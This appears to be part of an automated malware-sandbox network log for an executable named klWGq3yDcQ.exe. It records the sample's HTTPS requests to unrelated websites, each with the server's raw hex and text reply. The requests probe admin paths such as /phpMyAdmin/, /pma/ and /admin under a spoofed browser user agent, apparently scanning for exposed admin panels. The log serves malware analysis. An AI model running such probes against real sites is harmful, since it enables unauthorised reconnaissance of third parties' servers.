2023-11-26 05:59:42 UTC	1580	IN	Data Raw: 36 32 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 52 6f 62 6f 74 6f 2c 20 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 20 41 72 69 61 6c 2c 20 73 61 Data Ascii: 620<!doctype html><html><head> <title>404 - Page Not Found</title> <style type="text/css"> html, body { height: 100%; margin: 0; padding: 0; font-family: Roboto, Helvetica Neue, Arial, sa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
363	192.168.2.4	65065	13.32.208.27	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	178	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: www.perrisesd.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:42 UTC	1145	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 36 37 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a 53 65 72 76 65 72 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 49 49 53 2f 31 30 2e 30 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c 75 64 65 53 75 62 44 6f 6d 61 69 6e Data Ascii: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Content-Length: 3067Connection: closeDate: Sun, 26 Nov 2023 05:59:42 GMTCache-Control: privateServer: Microsoft-IIS/10.0Strict-Transport-Security: max-age=31536000; includeSubDomain
2023-11-26 05:59:42 UTC	3067	IN	Data Raw: 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 53 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 65 72 72 69 73 65 73 64 2e 6f 72 67 2f 53 74 61 74 69 63 2f 2f 73 69 74 65 2f 61 73 73 65 74 73 2f 53 74 79 6c 65 73 2f 73 79 73 74 65 6d 5f 32 37 34 31 2e 63 73 73 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 Data Ascii: <html><head> <link rel="Stylesheet" type="text/css" href="https://www.perrisesd.org/Static//site/assets/Styles/system_2741.css" /> <title>Error 404 - Page Not Found</title> <style type="text/css"> @font-face { font

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
364	192.168.2.4	65067	104.26.7.37	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	206	OUT	GET /domain_profile.cfm?d=robinsonland.com HTTP/1.1 Host: www.hugedomains.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:43 UTC	802	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a 76 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 73 69 74 65 5f 76 65 72 73 69 6f 6e 5f 70 68 61 73 65 3d 31 30 38 3b 20 65 78 70 69 72 65 73 3d 57 65 64 2c 20 32 30 2d 4e 6f 76 2d 32 30 32 34 20 30 35 3a 35 39 3a Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:42 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closecache-control: privatevary: Accept-Encodingset-cookie: site_version_phase=108; expires=Wed, 20-Nov-2024 05:59:
2023-11-26 05:59:43 UTC	567	IN	Data Raw: 39 32 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 63 6f 6f 6b 69 65 79 65 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2d 63 6f 6f 6b 69 65 79 65 73 2e 63 6f 6d 2f 63 6c 69 65 6e 74 5f 64 61 74 61 2f 65 37 31 62 63 35 33 66 31 63 62 38 38 36 36 36 64 31 36 30 63 31 65 32 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 0a 3c 6d 65 74 Data Ascii: 925<!DOCTYPE html><html lang="en"><head><script id="cookieyes" type="text/javascript" src="https://cdn-cookieyes.com/client_data/e71bc53f1cb88666d160c1e2/script.js"></script><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><met
2023-11-26 05:59:43 UTC	1369	IN	Data Raw: 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 72 65 62 6f 6f 74 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 3f 61 61 3d 32 30 32 31 2d 30 36 2d 30 39 61 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f Data Ascii: ss" /><link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/reboot.min.css"><link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/style.css?aa=2021-06-09a"><link rel="stylesheet" href="https://static.HugeDomains.co
2023-11-26 05:59:43 UTC	412	IN	Data Raw: 61 6d 69 6c 79 3d 4e 6f 74 6f 2b 53 61 6e 73 3a 34 30 30 2c 37 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 2e 74 79 70 65 6b 69 74 2e 6e 65 74 2f 7a 79 77 36 6d 64 73 2e 63 73 73 22 3e 0a 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 55 41 2d 37 31 31 37 33 33 39 2d 34 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0d 0a 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0d 0a 66 75 6e 63 74 69 6f Data Ascii: amily=Noto+Sans:400,700&display=swap"><link rel="stylesheet" href="https://use.typekit.net/zyw6mds.css"><script async src="https://www.googletagmanager.com/gtag/js?id=UA-7117339-4"></script><script>window.dataLayer = window.dataLayer \|\| [];functio
2023-11-26 05:59:43 UTC	1369	IN	Data Raw: 31 31 38 34 0d 0a 69 6d 65 6e 73 69 6f 6e 33 27 3a 20 27 73 69 74 65 76 65 72 73 69 6f 6e 27 0d 0a 7d 0d 0a 7d 29 3b 0d 0a 67 74 61 67 28 27 65 76 65 6e 74 27 2c 20 27 70 61 67 65 4c 6f 61 64 27 2c 20 7b 20 27 73 69 74 65 76 65 72 73 69 6f 6e 27 3a 20 27 48 44 76 33 27 20 7d 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 61 20 68 72 65 66 3d 22 23 6d 61 69 6e 22 20 63 6c 61 73 73 3d 22 73 6b 69 70 2d 6d 61 69 6e 22 3e 53 6b 69 70 20 74 6f 20 6d 61 69 6e 20 63 6f 6e 74 65 6e 74 3c 2f 61 3e 0a 3c 68 65 61 64 65 72 20 69 64 3d 22 68 65 61 64 65 72 22 20 63 6c 61 73 73 3d 22 68 64 76 33 48 65 61 64 65 72 44 61 72 6b 42 6c 75 65 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6a 73 2d 6f 76 65 72 6c 61 79 2d 6d 6f 64 61 Data Ascii: 1184imension3': 'siteversion'}});gtag('event', 'pageLoad', { 'siteversion': 'HDv3' });</script></head><body><a href="#main" class="skip-main">Skip to main content</a><header id="header" class="hdv3HeaderDarkBlue"><div class="js-overlay-moda
2023-11-26 05:59:43 UTC	1369	IN	Data Raw: 49 44 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 48 65 61 64 65 72 20 44 6f 6d 61 69 6e 20 53 65 61 72 63 68 22 3e 0a 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 20 76 61 6c 75 65 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 2d 62 74 6e 22 20 6f 6e 43 6c 69 63 6b 3d 22 68 64 76 33 48 65 61 64 65 72 53 65 61 72 63 68 53 75 62 6d 69 74 46 75 6e 63 28 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 20 22 20 73 74 79 6c 65 3d 22 6d 69 6e 2d 77 69 64 74 68 3a 39 30 70 78 3b 20 68 65 69 67 68 74 3a 33 35 70 78 3b 22 20 69 64 3d 22 68 64 76 33 48 65 61 64 65 72 53 65 61 72 63 68 42 75 74 74 6f 6e 49 44 22 3e 53 65 61 72 63 68 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 76 61 6c 75 65 20 69 64 3d Data Ascii: ID" aria-label="Header Domain Search"><button type="submit" value class="search-btn" onClick="hdv3HeaderSearchSubmitFunc(); return false; " style="min-width:90px; height:35px;" id="hdv3HeaderSearchButtonID">Search</button><button type="button" value id=
2023-11-26 05:59:43 UTC	1369	IN	Data Raw: 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6e 64 65 78 2e 63 66 6d 22 3e 48 6f 6d 65 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 66 61 71 2e 63 66 6d 22 3e 46 41 51 73 3c 2f 62 3e 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 Data Ascii: "><a class="nav-link " href="https://www.HugeDomains.com/index.cfm">Home</a></li><li class="nav-item"><a class="nav-link " href="https://www.HugeDomains.com/faq.cfm">FAQs</b></a></li><li class="nav-item"><a class="nav-link " href="https://www.HugeD
2023-11-26 05:59:43 UTC	385	IN	Data Raw: 76 3e 0a 3c 2f 6e 61 76 3e 0a 3c 2f 68 65 61 64 65 72 3e 0a 3c 6d 61 69 6e 20 63 6c 61 73 73 3d 22 73 69 74 65 2d 6d 61 69 6e 20 22 3e 0a 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 64 75 63 74 2d 66 61 76 2d 77 72 61 70 70 20 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 64 65 2d 77 72 61 70 70 20 64 6e 2d 6d 6f 62 69 6c 65 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6c 69 64 65 2d 73 69 64 65 62 61 72 2d 62 6c 6f 63 6b 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 73 2d 62 6c 6f 63 6b 2d 69 6e 6e 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 73 2d 62 6c 6f 63 6b 2d 69 6e 6e 65 72 2d 6e 65 77 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 73 2d 62 6c 6f 63 6b 2d 74 69 74 6c 65 20 67 72 65 65 6e 22 Data Ascii: v></nav></header><main class="site-main "><div class="product-fav-wrapp container"><div class="side-wrapp dn-mobile"><div class="slide-sidebar-block"><div class="ss-block-inner"><div class="ss-block-inner-new"><span class="ss-block-title green"
2023-11-26 05:59:43 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 2e 63 66 6d 3f 64 3d 52 6f 62 69 6e 73 6f 6e 4c 61 6e 64 26 65 3d 63 6f 6d 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 6d 2d 62 2d 30 20 6d 2d 74 2d 30 20 22 20 69 64 3d 22 68 64 76 33 42 69 6c 6c 62 6f 61 72 64 31 39 37 42 75 79 49 44 22 20 6f 6e 43 6c 69 63 6b 3d 22 24 28 27 23 68 64 76 33 42 69 6c 6c 62 6f 61 72 64 31 39 37 42 75 79 49 44 27 29 2e 61 64 64 43 6c 61 73 73 28 27 68 69 64 64 65 6e 41 74 4c 6f 61 64 27 29 3b 20 24 28 27 23 68 64 76 33 42 69 6c 6c 62 6f 61 72 64 31 39 37 42 75 79 50 72 6f 63 65 49 44 27 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 27 68 69 64 64 65 6e 41 74 4c 6f Data Ascii: 7ffa<a href="https://www.HugeDomains.com/shopping_cart.cfm?d=RobinsonLand&e=com" class="btn m-b-0 m-t-0 " id="hdv3Billboard197BuyID" onClick="$('#hdv3Billboard197BuyID').addClass('hiddenAtLoad'); $('#hdv3Billboard197BuyProceID').removeClass('hiddenAtLo
2023-11-26 05:59:43 UTC	1369	IN	Data Raw: 3d 22 20 70 6c 61 63 65 2d 6f 72 64 65 72 2d 62 74 6e 20 70 61 79 6d 65 6e 74 70 61 79 2d 61 63 63 61 75 6e 74 2d 63 6f 6e 74 65 6e 74 2d 62 74 6e 20 62 74 6e 20 68 69 64 64 65 6e 41 74 4c 6f 61 64 22 20 6f 6e 63 6c 69 63 6b 3d 22 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 35 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 70 78 3b 20 6d 69 6e 2d 77 69 64 74 68 3a 32 37 33 70 78 3b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 3b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 35 70 78 3b 20 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 22 3e 50 72 6f 63 65 73 73 69 6e 67 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 31 Data Ascii: =" place-order-btn paymentpay-accaunt-content-btn btn hiddenAtLoad" onclick="return false;" style="height:50px; margin-left:0px; min-width:273px; margin-top:0px; margin-bottom:25px; display:flex;">Processing<div class="circularJ"><div class="circularJ_1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
365	192.168.2.4	65072	72.167.58.161	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	166	OUT	GET /admin HTTP/1.1 Host: webstamp.ca Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:43 UTC	275	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 75 70 67 72 61 64 65 2d 69 6e 73 65 63 75 72 65 2d 72 65 71 75 65 73 74 73 3b 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55 70 67 72 61 64 65 2c 20 63 6c 6f 73 65 0d 0a 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 74 65 6e 74 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:43 GMTServer: ApacheContent-Security-Policy: upgrade-insecure-requests;Upgrade: h2,h2cConnection: Upgrade, closeAccept-Ranges: bytesVary: Accept-EncodingTransfer-Encoding: chunkedContent
2023-11-26 05:59:43 UTC	642	IN	Data Raw: 32 37 36 0d 0a 2f 61 64 6d 69 6e 4f 4f 50 53 21 20 53 6f 6d 65 74 68 69 6e 67 20 77 65 6e 74 20 77 72 6f 6e 67 2e 20 54 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 68 61 73 20 62 65 65 6e 20 0d 0a 72 65 6d 6f 76 65 64 20 6f 72 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 75 6e 64 65 72 20 6d 61 69 6e 74 65 6e 61 6e 63 65 2e 0d 0a 46 65 65 6c 20 66 72 65 65 20 74 6f 20 72 65 61 64 20 74 68 65 20 6d 61 6e 79 20 6f 74 68 65 72 20 61 72 74 69 63 6c 65 73 20 61 76 61 69 6c 61 62 6c 65 20 61 74 20 0d 0a 68 74 74 70 73 3a 2f 2f 77 65 62 73 74 61 6d 70 2e 63 61 0d 0a 3c 21 2d 2d 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 276/adminOOPS! Something went wrong. The page you requested has been removed or is currently under maintenance.Feel free to read the many other articles available at https://webstamp.ca...

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
366	192.168.2.4	65117	104.26.12.245	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	169	OUT	GET /pma/ HTTP/1.1 Host: hightideinc.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:43 UTC	737	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 76 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:43 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, ma
2023-11-26 05:59:43 UTC	632	IN	Data Raw: 37 63 62 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c Data Ascii: 7cbd<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><link rel="pingback" href="https://hightideinc.com/xmlrpc.php" /><script type="text/javascript">document.documentElement.cl
2023-11-26 05:59:43 UTC	1369	IN	Data Raw: 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 62 6f 64 79 22 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 7d 3b 22 63 6f 6d 70 6c 65 74 65 22 21 3d 3d 64 6f 63 75 6d 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 3f 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 62 29 3a 77 69 6e 64 6f 77 2e 61 74 74 61 63 68 45 76 65 6e 74 26 26 77 69 6e 64 6f 77 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 6c 6f 61 64 22 2c 62 29 3a 62 28 29 7d 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 22 65 74 2d 64 69 76 69 2d 75 73 65 72 66 6f 6e 74 73 22 3e 40 66 6f 6e 74 2d 66 61 63 65 20 7b 20 Data Ascii: ment.getElementsByTagName("body")[0].appendChild(a)};"complete"!==document.readyState?window.addEventListener?window.addEventListener("load",b):window.attachEvent&&window.attachEvent("onload",b):b()}();</script><style id="et-divi-userfonts">@font-face {
2023-11-26 05:59:43 UTC	1369	IN	Data Raw: 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 48 69 67 68 20 54 69 64 65 20 49 6e 63 2e 20 26 72 61 71 75 6f 3b 20 43 6f 6d 6d 65 6e 74 73 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 44 69 76 69 20 76 2e 34 2e 32 33 2e 31 22 20 6e 61 6d 65 3d 22 67 65 6e 65 72 61 74 6f 72 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 77 70 2d 62 6c 6f 63 6b 2d 6c 69 Data Ascii: ightideinc.com/feed/" /><link rel="alternate" type="application/rss+xml" title="High Tide Inc. » Comments Feed" href="https://hightideinc.com/comments/feed/" /><meta content="Divi v.4.23.1" name="generator" /><link rel="stylesheet" id="wp-block-li
